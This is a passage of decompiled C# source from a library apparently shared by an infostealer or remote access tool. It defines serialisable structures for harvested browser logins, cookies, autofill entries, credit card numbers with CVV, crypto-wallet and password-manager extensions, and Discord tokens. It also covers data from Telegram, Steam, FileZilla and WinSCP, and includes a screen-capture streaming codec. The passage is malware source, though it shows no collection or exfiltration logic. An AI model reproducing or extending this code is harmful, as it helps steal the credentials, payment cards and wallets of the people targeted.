		public bool pop3 = _pop3;

		public override string ToString()
		{
			return "ACCOUNT: " + account + Environment.NewLine + "PASSWORD: " + password + Environment.NewLine + "POP3: " + pop3.ToString().ToUpper();
		}
	}
	[ProtoContract]
	public struct DiscordUserData(string _token, string _username, string _email, string _phoneNumber, string _id, bool _hasNitro)
	{
		[ProtoMember(1)]
		public string token = _token;

		[ProtoMember(2)]
		public string username = _username;

		[ProtoMember(3)]
		public string email = _email;

		[ProtoMember(4)]
		public string phoneNumber = _phoneNumber;

		[ProtoMember(5)]
		public string id = _id;

		[ProtoMember(6)]
		public bool hasNitro = _hasNitro;
	}
	[ProtoContract]
	public struct Login(string _username, string _password, string _hostname)
	{
		[ProtoMember(1)]
		public string hostname = _hostname;

		[ProtoMember(2)]
		public string username = _username;

		[ProtoMember(3)]
		public string password = _password;

		public override string ToString()
		{
			return "HOSTNAME: " + hostname + Environment.NewLine + "USERNAME: " + username + Environment.NewLine + "PASSWORD: " + password;
		}
	}
	[ProtoContract]
	public struct Cookie(string _domain, string _path, string _name, string _value, int _expiry, bool _isSecure, bool _isHttpOnly)
	{
		[ProtoMember(1)]
		public string domain = _domain;

		[ProtoMember(2)]
		public string path = _path;

		[ProtoMember(3)]
		public string name = _name;

		[ProtoMember(4)]
		public string value = _value;

		[ProtoMember(5)]
		public int expiry = _expiry;

		[ProtoMember(6)]
		public bool isSecure = _isSecure;

		[ProtoMember(7)]
		public bool isHttpOnly = _isHttpOnly;

		[ProtoMember(8)]
		public bool expired = DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1)).TotalSeconds >= (double)_expiry;

		public override string ToString()
		{
			return "DOMAIN: " + domain + Environment.NewLine + "PATH: " + path + Environment.NewLine + "NAME: " + name + Environment.NewLine + "VALUE: " + value + Environment.NewLine + "EXPIRY: " + expiry + Environment.NewLine + "IS_SECURE: " + isSecure + Environment.NewLine + "IS_HTTP_ONLY: " + isHttpOnly + Environment.NewLine + "EXPIRED: " + expired;
		}
	}
	[ProtoContract]
	public struct AutoFill(string _name, string _value)
	{
		[ProtoMember(1)]
		public string name = _name;

		[ProtoMember(2)]
		public string value = _value;

		public override string ToString()
		{
			return "NAME: " + name + Environment.NewLine + "VALUE: " + value;
		}
	}
	[ProtoContract]
	public struct Download(string _url, string _path)
	{
		[ProtoMember(1)]
		public string url = _url;

		[ProtoMember(2)]
		public string path = _path;

		public override string ToString()
		{
			return "URL: " + url + Environment.NewLine + "DOWNLOAD PATH: " + path;
		}
	}
	[ProtoContract]
	public struct HistoryEntry(string _url, string _title)
	{
		[ProtoMember(1)]
		public string url = _url;

		[ProtoMember(2)]
		public string title = _title;

		public override string ToString()
		{
			return "URL: " + url + Environment.NewLine + "TITLE: " + title;
		}
	}
	[Flags]
	[ProtoContract]
	public enum ChromiumBrowserOptions
	{
		None = 0,
		Logins = 1,
		Cookies = 2,
		Autofills = 4,
		Downloads = 8,
		History = 0x10,
		CreditCards = 0x20,
		CryptoExtensions = 0x40,
		PasswordManagerExtensions = 0x80,
		All = 0xFF
	}
	[ProtoContract]
	public struct ChromiumBrowser
	{
		[ProtoMember(1)]
		public string browserName;

		[ProtoMember(2)]
		public ChromiumProfile[] profiles;

		public ChromiumBrowser(ChromiumProfile[] _profiles, string _browserName)
		{
			browserName = _browserName;
			if (_profiles == null)
			{
				profiles = new ChromiumProfile[0];
			}
			else
			{
				profiles = _profiles;
			}
		}
	}
	[ProtoContract]
	public struct ChromiumProfile
	{
		[ProtoMember(1)]
		public string profileName;

		[ProtoMember(2)]
		public Login[] logins;

		[ProtoMember(3)]
		public Cookie[] cookies;

		[ProtoMember(4)]
		public AutoFill[] autofills;

		[ProtoMember(5)]
		public Download[] downloads;

		[ProtoMember(6)]
		public HistoryEntry[] history;

		[ProtoMember(7)]
		public ChromiumCreditCard[] creditCards;

		[ProtoMember(8)]
		public ChromiumCryptoExtension[] cryptoExtensions;

		[ProtoMember(9)]
		public ChromiumPasswordExtension[] passwordManagerExtensions;

		public ChromiumProfile(Login[] _logins, Cookie[] _cookies, AutoFill[] _autofills, Download[] _downloads, HistoryEntry[] _history, ChromiumCreditCard[] _creditCards, ChromiumCryptoExtension[] _cryptoExtensions, ChromiumPasswordExtension[] _passwordManagerExtensions, string _profileName)
		{
			profileName = _profileName;
			logins = ((_logins != null) ? _logins : new Login[0]);
			cookies = ((_cookies != null) ? _cookies : new Cookie[0]);
			autofills = ((_autofills != null) ? _autofills : new AutoFill[0]);
			downloads = ((_downloads != null) ? _downloads : new Download[0]);
			history = ((_history != null) ? _history : new HistoryEntry[0]);
			creditCards = ((_creditCards != null) ? _creditCards : new ChromiumCreditCard[0]);
			cryptoExtensions = ((_cryptoExtensions != null) ? _cryptoExtensions : new ChromiumCryptoExtension[0]);
			if (_passwordManagerExtensions == null)
			{
				passwordManagerExtensions = new ChromiumPasswordExtension[0];
			}
			else
			{
				passwordManagerExtensions = _passwordManagerExtensions;
			}
		}

		public string GetLoginsString()
		{
			string text = "";
			Login[] array = logins;
			for (int i = 0; i < array.Length; i++)
			{
				Login login = array[i];
				text = text + login.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}

		public string GetCookiesString()
		{
			string text = "";
			Cookie[] array = cookies;
			for (int i = 0; i < array.Length; i++)
			{
				Cookie cookie = array[i];
				text = text + cookie.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}

		public string GetAutofillsString()
		{
			string text = "";
			AutoFill[] array = autofills;
			for (int i = 0; i < array.Length; i++)
			{
				AutoFill autoFill = array[i];
				text = text + autoFill.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}

		public string GetDownloadsString()
		{
			string text = "";
			Download[] array = downloads;
			for (int i = 0; i < array.Length; i++)
			{
				Download download = array[i];
				text = text + download.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}

		public string GetHistoryString()
		{
			string text = "";
			HistoryEntry[] array = history;
			for (int i = 0; i < array.Length; i++)
			{
				HistoryEntry historyEntry = array[i];
				text = text + historyEntry.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}

		public string GetCreditCardsString()
		{
			string text = "";
			ChromiumCreditCard[] array = creditCards;
			for (int i = 0; i < array.Length; i++)
			{
				ChromiumCreditCard chromiumCreditCard = array[i];
				text = text + chromiumCreditCard.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}

		public string GetCryptoExtensionsString()
		{
			string text = "";
			ChromiumCryptoExtension[] array = cryptoExtensions;
			for (int i = 0; i < array.Length; i++)
			{
				ChromiumCryptoExtension chromiumCryptoExtension = array[i];
				text = text + chromiumCryptoExtension.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}

		public string GetPasswordExtensionsString()
		{
			string text = "";
			ChromiumPasswordExtension[] array = passwordManagerExtensions;
			for (int i = 0; i < array.Length; i++)
			{
				ChromiumPasswordExtension chromiumPasswordExtension = array[i];
				text = text + chromiumPasswordExtension.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}
	}
	[ProtoContract]
	public struct AppsData
	{
		[ProtoMember(1)]
		public AppsOptions options;

		[ProtoMember(2)]
		public DiscordUserData[] DiscordUserDatas;

		[ProtoMember(3)]
		public TelegramInfo? telegramInfo;

		[ProtoMember(4)]
		public SteamInfo? steamInfos;

		[ProtoMember(5)]
		public OBSInfo[] obsInfos;

		[ProtoMember(6)]
		public NgrokInfo? ngrokInfos;

		[ProtoMember(7)]
		public WinScpInfo[] winscpInfos;

		[ProtoMember(8)]
		public FileZillaInfo[] filezillaInfos;

		[ProtoMember(9)]
		public FoxMailInfo[] foxMailInfos;

		[ProtoMember(10)]
		public CryptoInfo[] cryptoInfos;

		public AppsData(AppsOptions _options, DiscordUserData[] _DiscordUserDatas, TelegramInfo? _telegramInfo, SteamInfo? _steamInfos, OBSInfo[] _obsInfos, NgrokInfo? _ngrokInfos, WinScpInfo[] _winscpInfos, FileZillaInfo[] _filezillaInfos, FoxMailInfo[] _foxMailInfos, CryptoInfo[] _cryptoInfos)
		{
			options = _options;
			DiscordUserDatas = ((_DiscordUserDatas != null) ? _DiscordUserDatas : new DiscordUserData[0]);
			telegramInfo = _telegramInfo ?? ((TelegramInfo?)null);
			steamInfos = _steamInfos ?? ((SteamInfo?)null);
			obsInfos = ((_obsInfos != null) ? _obsInfos : new OBSInfo[0]);
			ngrokInfos = _ngrokInfos ?? ((NgrokInfo?)null);
			winscpInfos = ((_winscpInfos != null) ? _winscpInfos : new WinScpInfo[0]);
			filezillaInfos = ((_filezillaInfos != null) ? _filezillaInfos : new FileZillaInfo[0]);
			foxMailInfos = ((_foxMailInfos != null) ? _foxMailInfos : new FoxMailInfo[0]);
			if (_cryptoInfos == null)
			{
				cryptoInfos = new CryptoInfo[0];
			}
			else
			{
				cryptoInfos = _cryptoInfos;
			}
		}
	}
	[ProtoContract]
	public struct ChromiumCreditCard(string _cardholderName, string _cardNumber, string _cvv, int _expirationMonth, int _expirationYear)
	{
		[ProtoMember(1)]
		public string cardholderName = _cardholderName;

		[ProtoMember(2)]
		public string cardNumber = _cardNumber;

		[ProtoMember(3)]
		public string cvv = _cvv;

		[ProtoMember(4)]
		public int expirationMonth = _expirationMonth;

		[ProtoMember(5)]
		public int expirationYear = _expirationYear;

		public override string ToString()
		{
			return "CARDHOLDER_NAME: " + cardholderName + Environment.NewLine + "CARD_NUMBER: " + cardNumber + Environment.NewLine + "CVV: " + cvv + Environment.NewLine + "EXPIRATION_MONTH: " + expirationMonth + Environment.NewLine + "EXPIRATION_YEAR: " + expirationYear;
		}
	}
	[ProtoContract]
	public struct ChromiumPasswordExtension(string _name, string _path)
	{
		[ProtoMember(1)]
		public string name = _name;

		[ProtoMember(2)]
		public string path = _path;

		public override string ToString()
		{
			return "NAME: " + name + Environment.NewLine + "PATH: " + path;
		}
	}
	[ProtoContract]
	public struct ChromiumCryptoExtension(string _name, string _path)
	{
		[ProtoMember(1)]
		public string name = _name;

		[ProtoMember(2)]
		public string path = _path;

		public override string ToString()
		{
			return "NAME: " + name + Environment.NewLine + "PATH: " + path;
		}
	}
	[Flags]
	[ProtoContract]
	public enum GeckoBrowserOptions
	{
		None = 0,
		Logins = 1,
		Cookies = 2,
		Autofills = 4,
		Downloads = 8,
		History = 0x10,
		CreditCards = 0x20,
		Addresses = 0x40,
		All = 0x7F
	}
	[ProtoContract]
	public struct GeckoBrowser
	{
		[ProtoMember(1)]
		public string browserName;

		[ProtoMember(2)]
		public GeckoProfile[] profiles;

		public GeckoBrowser(GeckoProfile[] _profiles, string _browserName)
		{
			browserName = _browserName;
			if (_profiles == null)
			{
				profiles = new GeckoProfile[0];
			}
			else
			{
				profiles = _profiles;
			}
		}
	}
	[ProtoContract]
	public struct GeckoProfile
	{
		[ProtoMember(1)]
		public string profileName;

		[ProtoMember(2)]
		public Login[] logins;

		[ProtoMember(3)]
		public Cookie[] cookies;

		[ProtoMember(4)]
		public AutoFill[] autofills;

		[ProtoMember(5)]
		public Download[] downloads;

		[ProtoMember(6)]
		public HistoryEntry[] history;

		[ProtoMember(7)]
		public GeckoCreditCard[] creditCards;

		[ProtoMember(8)]
		public GeckoAddressInfo[] addresses;

		public GeckoProfile(Login[] _logins, Cookie[] _cookies, AutoFill[] _autofills, Download[] _downloads, HistoryEntry[] _history, GeckoCreditCard[] _creditCards, GeckoAddressInfo[] _addresses, string _profileName)
		{
			profileName = _profileName;
			logins = ((_logins != null) ? _logins : new Login[0]);
			cookies = ((_cookies != null) ? _cookies : new Cookie[0]);
			autofills = ((_autofills != null) ? _autofills : new AutoFill[0]);
			downloads = ((_downloads != null) ? _downloads : new Download[0]);
			history = ((_history != null) ? _history : new HistoryEntry[0]);
			creditCards = ((_creditCards != null) ? _creditCards : new GeckoCreditCard[0]);
			if (_addresses == null)
			{
				addresses = new GeckoAddressInfo[0];
			}
			else
			{
				addresses = _addresses;
			}
		}

		public string GetLoginsString()
		{
			string text = "";
			Login[] array = logins;
			for (int i = 0; i < array.Length; i++)
			{
				Login login = array[i];
				text = text + login.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}

		public string GetCookiesString()
		{
			string text = "";
			Cookie[] array = cookies;
			for (int i = 0; i < array.Length; i++)
			{
				Cookie cookie = array[i];
				text = text + cookie.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}

		public string GetAutofillsString()
		{
			string text = "";
			AutoFill[] array = autofills;
			for (int i = 0; i < array.Length; i++)
			{
				AutoFill autoFill = array[i];
				text = text + autoFill.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}

		public string GetDownloadsString()
		{
			string text = "";
			Download[] array = downloads;
			for (int i = 0; i < array.Length; i++)
			{
				Download download = array[i];
				text = text + download.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}

		public string GetHistoryString()
		{
			string text = "";
			HistoryEntry[] array = history;
			for (int i = 0; i < array.Length; i++)
			{
				HistoryEntry historyEntry = array[i];
				text = text + historyEntry.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}

		public string GetCreditCardsString()
		{
			string text = "";
			GeckoCreditCard[] array = creditCards;
			for (int i = 0; i < array.Length; i++)
			{
				GeckoCreditCard geckoCreditCard = array[i];
				text = text + geckoCreditCard.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}

		public string GetAddressesString()
		{
			string text = "";
			GeckoAddressInfo[] array = addresses;
			for (int i = 0; i < array.Length; i++)
			{
				GeckoAddressInfo geckoAddressInfo = array[i];
				text = text + geckoAddressInfo.ToString() + Environment.NewLine + Environment.NewLine;
			}
			return text;
		}
	}
	[ProtoContract]
	public struct GeckoCreditCard(string _cardholderName, string _cardType, string _cardNumber, int _expirationMonth, int _expirationYear)
	{
		[ProtoMember(1)]
		public string cardholderName = _cardholderName;

		[ProtoMember(2)]
		public string cardType = _cardType;

		[ProtoMember(3)]
		public string cardNumber = _cardNumber;

		[ProtoMember(4)]
		public int expirationMonth = _expirationMonth;

		[ProtoMember(5)]
		public int expirationYear = _expirationYear;

		public override string ToString()
		{
			return "CARDHOLDER_NAME: " + cardholderName + Environment.NewLine + "CARD_TYPE: " + cardType + Environment.NewLine + "CARD_NUMBER: " + cardNumber + Environment.NewLine + "EXPIRATION_MONTH: " + expirationMonth + Environment.NewLine + "EXPIRATION_YEAR: " + expirationYear;
		}
	}
	[ProtoContract]
	public struct GeckoAddressInfo(string _name, string _organization, string _streetAddress, string _addressLevel2, string _addressLevel1, string _postalCode, string _country, string _tel, string _email, string _givenName, string _additionalName, string _familyName, string _addressLine1, string _addressLine2, string _addressLine3, string _countryName, string _telNational, string _telCountryCode, string _telAreaCode, string _telLocal, string _telLocalPrefix, string _telLocalSuffix)
	{
		[ProtoMember(1)]
		public string name = _name;

		[ProtoMember(2)]
		public string organization = _organization;

		[ProtoMember(3)]
		public string streetAddress = _streetAddress;

		[ProtoMember(4)]
		public string addressLevel2 = _addressLevel2;

		[ProtoMember(5)]
		public string addressLevel1 = _addressLevel1;

		[ProtoMember(6)]
		public string postalCode = _postalCode;

		[ProtoMember(7)]
		public string country = _country;

		[ProtoMember(8)]
		public string tel = _tel;

		[ProtoMember(9)]
		public string email = _email;

		[ProtoMember(10)]
		public string givenName = _givenName;

		[ProtoMember(11)]
		public string additionalName = _additionalName;

		[ProtoMember(12)]
		public string familyName = _familyName;

		[ProtoMember(13)]
		public string addressLine1 = _addressLine1;

		[ProtoMember(14)]
		public string addressLine2 = _addressLine2;

		[ProtoMember(15)]
		public string addressLine3 = _addressLine3;

		[ProtoMember(16)]
		public string countryName = _countryName;

		[ProtoMember(17)]
		public string telNational = _telNational;

		[ProtoMember(18)]
		public string telCountryCode = _telCountryCode;

		[ProtoMember(19)]
		public string telAreaCode = _telAreaCode;

		[ProtoMember(20)]
		public string telLocal = _telLocal;

		[ProtoMember(21)]
		public string telLocalPrefix = _telLocalPrefix;

		[ProtoMember(22)]
		public string telLocalSuffix = _telLocalSuffix;

		public override string ToString()
		{
			return "NAME: " + name + Environment.NewLine + "ORGANIZATION: " + organization + Environment.NewLine + "STREET_ADDRESS: " + streetAddress + Environment.NewLine + "ADDRESS_LEVEL2: " + addressLevel2 + Environment.NewLine + "ADDRESS_LEVEL1: " + addressLevel1 + Environment.NewLine + "POSTAL_CODE: " + postalCode + Environment.NewLine + "COUNTRY: " + country + Environment.NewLine + "TEL: " + tel + Environment.NewLine + "EMAIL: " + email + Environment.NewLine + "GIVEN_NAME: " + givenName + Environment.NewLine + "ADDITIONAL_NAME: " + additionalName + Environment.NewLine + "FAMILY_NAME: " + familyName + Environment.NewLine + "ADDRESS_LINE1: " + addressLine1 + Environment.NewLine + "ADDRESS_LINE2: " + addressLine2 + Environment.NewLine + "ADDRESS_LINE3: " + addressLine3 + Environment.NewLine + "COUNTRY_NAME: " + countryName + Environment.NewLine + "TEL_NATIONAL: " + telNational + Environment.NewLine + "TEL_COUNTRY_CODE: " + telCountryCode + Environment.NewLine + "TEL_AREA_CODE: " + telAreaCode + Environment.NewLine + "TEL_LOCAL: " + telLocal + Environment.NewLine + "TEL_LOCAL_PREFIX: " + telLocalPrefix + Environment.NewLine + "TEL_LOCAL_SUFFIX: " + telLocalSuffix;
		}
	}
}
namespace InvokedCommon.Utilities
{
	public class ByteConverter
	{
		private static byte NULL_BYTE;

		public static byte[] GetBytes(int value)
		{
			return BitConverter.GetBytes(value);
		}

		public static byte[] GetBytes(long value)
		{
			return BitConverter.GetBytes(value);
		}

		public static byte[] GetBytes(uint value)
		{
			return BitConverter.GetBytes(value);
		}

		public static byte[] GetBytes(ulong value)
		{
			return BitConverter.GetBytes(value);
		}

		public static byte[] GetBytes(string value)
		{
			return StringToBytes(value);
		}

		public static byte[] GetBytes(string[] value)
		{
			return StringArrayToBytes(value);
		}

		public static int ToInt32(byte[] bytes)
		{
			return BitConverter.ToInt32(bytes, 0);
		}

		public static long ToInt64(byte[] bytes)
		{
			return BitConverter.ToInt64(bytes, 0);
		}

		public static uint ToUInt32(byte[] bytes)
		{
			return BitConverter.ToUInt32(bytes, 0);
		}

		public static ulong ToUInt64(byte[] bytes)
		{
			return BitConverter.ToUInt64(bytes, 0);
		}

		public static string ToString(byte[] bytes)
		{
			return BytesToString(bytes);
		}

		public static string[] ToStringArray(byte[] bytes)
		{
			return BytesToStringArray(bytes);
		}

		private static byte[] GetNullBytes()
		{
			return new byte[2] { NULL_BYTE, NULL_BYTE };
		}

		private static byte[] StringToBytes(string value)
		{
			byte[] array = new byte[value.Length * 2];
			Buffer.BlockCopy(value.ToCharArray(), 0, array, 0, array.Length);
			return array;
		}

		private static byte[] StringArrayToBytes(string[] strings)
		{
			List<byte> list = new List<byte>();
			foreach (string value in strings)
			{
				list.AddRange(StringToBytes(value));
				list.AddRange(GetNullBytes());
			}
			return list.ToArray();
		}

		private static string BytesToString(byte[] bytes)
		{
			char[] array = new char[(int)Math.Ceiling((double)bytes.Length / 2.0)];
			Buffer.BlockCopy(bytes, 0, array, 0, bytes.Length);
			return new string(array);
		}

		private static string[] BytesToStringArray(byte[] bytes)
		{
			List<string> list = new List<string>();
			int i = 0;
			StringBuilder stringBuilder = new StringBuilder(bytes.Length);
			while (i < bytes.Length)
			{
				int num = 0;
				for (; i < bytes.Length; i++)
				{
					if (num >= 3)
					{
						break;
					}
					if (bytes[i] == NULL_BYTE)
					{
						num++;
						continue;
					}
					stringBuilder.Append(Convert.ToChar(bytes[i]));
					num = 0;
				}
				list.Add(stringBuilder.ToString());
				stringBuilder.Clear();
			}
			return list.ToArray();
		}
	}
	public class SafeRandom
	{
		private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create();

		[ThreadStatic]
		private static Random _random;

		private static Random GetRandom()
		{
			if (_random == null)
			{
				byte[] array = new byte[4];
				GlobalCryptoProvider.GetBytes(array);
				_random = new Random(BitConverter.ToInt32(array, 0));
			}
			return _random;
		}

		public int Next()
		{
			return GetRandom().Next();
		}

		public int Next(int maxValue)
		{
			return GetRandom().Next(maxValue);
		}

		public int Next(int minValue, int maxValue)
		{
			return GetRandom().Next(minValue, maxValue);
		}

		public void NextBytes(byte[] buffer)
		{
			GetRandom().NextBytes(buffer);
		}

		public double NextDouble()
		{
			return GetRandom().NextDouble();
		}
	}
}
namespace InvokedCommon.Video
{
	[ProtoContract]
	public class Resolution : IEquatable<Resolution>
	{
		[ProtoMember(1)]
		public int Width { get; set; }

		[ProtoMember(2)]
		public int Height { get; set; }

		public bool Equals(Resolution other)
		{
			if ((object)other == null)
			{
				return false;
			}
			if ((object)this == other)
			{
				return true;
			}
			if (Width == other.Width)
			{
				return Height == other.Height;
			}
			return false;
		}

		public static bool operator ==(Resolution r1, Resolution r2)
		{
			return r1?.Equals(r2) ?? ((object)r2 == null);
		}

		public static bool operator !=(Resolution r1, Resolution r2)
		{
			return !(r1 == r2);
		}

		public override bool Equals(object obj)
		{
			return Equals(obj as Resolution);
		}

		public override int GetHashCode()
		{
			return Width ^ Height;
		}

		public override string ToString()
		{
			return $"{Width}x{Height}";
		}
	}
}
namespace InvokedCommon.Video.Codecs
{
	public class UnsafeStreamCodec : IDisposable
	{
		private int _imageQuality;

		private byte[] _encodeBuffer;

		private Bitmap _decodedBitmap;

		private PixelFormat _encodedFormat;

		private int _encodedWidth;

		private int _encodedHeight;

		private readonly object _imageProcessLock = new object();

		private JpgCompression _jpgCompression;

		public int Monitor { get; private set; }

		public Resolution Resolution { get; private set; }

		public Size CheckBlock { get; private set; }

		public int ImageQuality
		{
			get
			{
				return _imageQuality;
			}
			private set
			{
				lock (_imageProcessLock)
				{
					_imageQuality = value;
					if (_jpgCompression != null)
					{
						_jpgCompression.Dispose();
					}
					_jpgCompression = new JpgCompression(_imageQuality);
				}
			}
		}

		public UnsafeStreamCodec(int imageQuality, int monitor, Resolution resolution)
		{
			ImageQuality = imageQuality;
			Monitor = monitor;
			Resolution = resolution;
			CheckBlock = new Size(50, 1);
		}

		public void Dispose()
		{
			Dispose(disposing: true);
			GC.SuppressFinalize(this);
		}

		protected virtual void Dispose(bool disposing)
		{
			if (disposing)
			{
				if (_decodedBitmap != null)
				{
					((Image)_decodedBitmap).Dispose();
				}
				if (_jpgCompression != null)
				{
					_jpgCompression.Dispose();
				}
			}
		}

		public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, Stream outStream)
		{
			//IL_0040: Unknown result type (might be due to invalid IL or missing references)
			//IL_0047: Invalid comparison between Unknown and I4
			//IL_005f: Unknown result type (might be due to invalid IL or missing references)
			//IL_0066: Invalid comparison between Unknown and I4
			//IL_0049: Unknown result type (might be due to invalid IL or missing references)
			//IL_0050: Invalid comparison between Unknown and I4
			//IL_0068: Unknown result type (might be due to invalid IL or missing references)
			//IL_006f: Invalid comparison between Unknown and I4
			//IL_0052: Unknown result type (might be due to invalid IL or missing references)
			//IL_0059: Invalid comparison between Unknown and I4
			//IL_016e: Unknown result type (might be due to invalid IL or missing references)
			//IL_0173: Unknown result type (might be due to invalid IL or missing references)
			//IL_00ab: Unknown result type (might be due to invalid IL or missing references)
			//IL_00ad: Unknown result type (might be due to invalid IL or missing references)
			//IL_010e: Unknown result type (might be due to invalid IL or missing references)
			//IL_0111: Unknown result type (might be due to invalid IL or missing references)
			//IL_0118: Expected O, but got Unknown
			//IL_0622: Unknown result type (might be due to invalid IL or missing references)
			//IL_0624: Unknown result type (might be due to invalid IL or missing references)
			//IL_062b: Expected O, but got Unknown
			//IL_0645: Unknown result type (might be due to invalid IL or missing references)
			lock (_imageProcessLock)
			{
				byte* ptr = (byte*)((IntPtr.Size != 8) ? scan0.ToInt32() : scan0.ToInt64());
				if (!outStream.CanWrite)
				{
					throw new Exception("Must have access to Write in the Stream");
				}
				int num;
				if ((int)format <= 139273)
				{
					if ((int)format != 137224 && (int)format != 139273)
					{
						goto IL_0075;
					}
					num = 3;
				}
				else
				{
					if ((int)format != 925707 && (int)format != 2498570)
					{
						goto IL_0075;
					}
					num = 4;
				}
				int num2 = imageSize.Width * num;
				int num3 = num2 * imageSize.Height;
				if (_encodeBuffer == null)
				{
					_encodedFormat = format;
					_encodedWidth = imageSize.Width;
					_encodedHeight = imageSize.Height;
					_encodeBuffer = new byte[num3];
					fixed (byte* encodeBuffer = _encodeBuffer)
					{
						byte[] array = null;
						Bitmap val = new Bitmap(imageSize.Width, imageSize.Height, num2, format, scan0);
						try
						{
							array = _jpgCompression.Compress(val);
						}
						finally
						{
							((IDisposable)val)?.Dispose();
						}
						outStream.Write(BitConverter.GetBytes(array.Length), 0, 4);
						outStream.Write(array, 0, array.Length);
						NativeMethods.memcpy(new IntPtr(encodeBuffer), scan0, (uint)num3);
					}
					return;
				}
				if (_encodedFormat != format)
				{
					throw new Exception("PixelFormat is not equal to previous Bitmap");
				}
				if (_encodedWidth != imageSize.Width || _encodedHeight != imageSize.Height)
				{
					throw new Exception("Bitmap width/height are not equal to previous bitmap");
				}
				long position = outStream.Position;
				outStream.Write(new byte[4], 0, 4);
				long num4 = 0L;
				List<Rectangle> list = new List<Rectangle>();
				Size size = new Size(scanArea.Width, CheckBlock.Height);
				Size size2 = default(Size);
				int width = scanArea.Width;
				int width2 = CheckBlock.Width;
				int width3 = width % width2;
				int height = scanArea.Height;
				int height2 = CheckBlock.Height;
				int height3 = height % height2;
				size2 = new Size(width3, height3);
				int num5 = scanArea.Height - size2.Height;
				int num6 = scanArea.Width - size2.Width;
				Rectangle rectangle = default(Rectangle);
				List<Rectangle> list2 = new List<Rectangle>();
				size = new Size(scanArea.Width, size.Height);
				fixed (byte* encodeBuffer2 = _encodeBuffer)
				{
					for (int i = scanArea.Y; i != scanArea.Height; i += size.Height)
					{
						if (i == num5)
						{
							size = new Size(scanArea.Width, size2.Height);
						}
						rectangle = new Rectangle(scanArea.X, i, scanArea.Width, size.Height);
						int num7 = i * num2 + scanArea.X * num;
						if (NativeMethods.memcmp(encodeBuffer2 + num7, ptr + num7, (uint)num2) == 0)
						{
							continue;
						}
						int index = list.Count - 1;
						if (list.Count != 0)
						{
							int y = list[index].Y;
							int height4 = list[index].Height;
							if (y + height4 == rectangle.Y)
							{
								int x = list[index].X;
								int y2 = list[index].Y;
								int width4 = list[index].Width;
								int height5 = list[index].Height + rectangle.Height;
								rectangle = new Rectangle(x, y2, width4, height5);
								list[index] = rectangle;
								continue;
							}
						}
						list.Add(rectangle);
					}
					for (int j = 0; j < list.Count; j++)
					{
						int width5 = CheckBlock.Width;
						int height6 = list[j].Height;
						size = new Size(width5, height6);
						for (int k = scanArea.X; k != scanArea.Width; k += size.Width)
						{
							if (k == num6)
							{
								int width6 = size2.Width;
								int height7 = list[j].Height;
								size = new Size(width6, height7);
							}
							int x2 = k;
							int y3 = list[j].Y;
							int width7 = size.Width;
							int height8 = list[j].Height;
							rectangle = new Rectangle(x2, y3, width7, height8);
							bool flag = false;
							uint count = (uint)(num * rectangle.Width);
							for (int l = 0; l < rectangle.Height; l++)
							{
								int num8 = num2 * (rectangle.Y + l) + num * rectangle.X;
								if (NativeMethods.memcmp(encodeBuffer2 + num8, ptr + num8, count) != 0)
								{
									flag = true;
								}
								NativeMethods.memcpy(encodeBuffer2 + num8, ptr + num8, count);
							}
							if (!flag)
							{
								continue;
							}
							int index2 = list2.Count - 1;
							if (list2.Count > 0)
							{
								int x3 = list2[index2].X;
								int width8 = list2[index2].Width;
								if (x3 + width8 == rectangle.X)
								{
									Rectangle rectangle2 = list2[index2];
									int width9 = rectangle.Width + rectangle2.Width;
									rectangle = (list2[index2] = new Rectangle(rectangle2.X, rectangle2.Y, width9, rectangle2.Height));
									continue;
								}
							}
							list2.Add(rectangle);
						}
					}
				}
				for (int m = 0; m < list2.Count; m++)
				{
					Rectangle rectangle4 = list2[m];
					int num9 = num * rectangle4.Width;
					Bitmap val2 = null;
					BitmapData val3 = null;
					long num12;
					try
					{
						val2 = new Bitmap(rectangle4.Width, rectangle4.Height, format);
						val3 = val2.LockBits(new Rectangle(0, 0, ((Image)val2).Width, ((Image)val2).Height), (ImageLockMode)3, ((Image)val2).PixelFormat);
						int n = 0;
						int num10 = 0;
						for (; n < rectangle4.Height; n++)
						{
							int num11 = num2 * (rectangle4.Y + n) + num * rectangle4.X;
							NativeMethods.memcpy((void*)((IntPtr)val3.Scan0.ToPointer() + num10), ptr + num11, (uint)num9);
							num10 += num9;
						}
						outStream.Write(BitConverter.GetBytes(rectangle4.X), 0, 4);
						outStream.Write(BitConverter.GetBytes(rectangle4.Y), 0, 4);
						outStream.Write(BitConverter.GetBytes(rectangle4.Width), 0, 4);
						outStream.Write(BitConverter.GetBytes(rectangle4.Height), 0, 4);
						outStream.Write(new byte[4], 0, 4);
						num12 = outStream.Length;
						long position2 = outStream.Position;
						_jpgCompression.Compress(val2, ref outStream);
						num12 = outStream.Position - num12;
						outStream.Position = position2 - 4;
						outStream.Write(BitConverter.GetBytes(num12), 0, 4);
						outStream.Position += num12;
					}
					finally
					{
						val2.UnlockBits(val3);
						((Image)val2).Dispose();
					}
					num4 += num12 + 20;
				}
				outStream.Position = position;
				outStream.Write(BitConverter.GetBytes(num4), 0, 4);
				return;
				IL_0075:
				throw new NotSupportedException(((object)(*(PixelFormat*)(&format))/*cast due to constrained. prefix*/).ToString());
			}
		}

		public unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length)
		{
			//IL_006a: Unknown result type (might be due to invalid IL or missing references)
			//IL_0074: Expected O, but got Unknown
			if (length < 4)
			{
				return _decodedBitmap;
			}
			int num = *(int*)(void*)codecBuffer;
			if (_decodedBitmap != null)
			{
				return _decodedBitmap;
			}
			byte[] array = new byte[num];
			fixed (byte* value = array)
			{
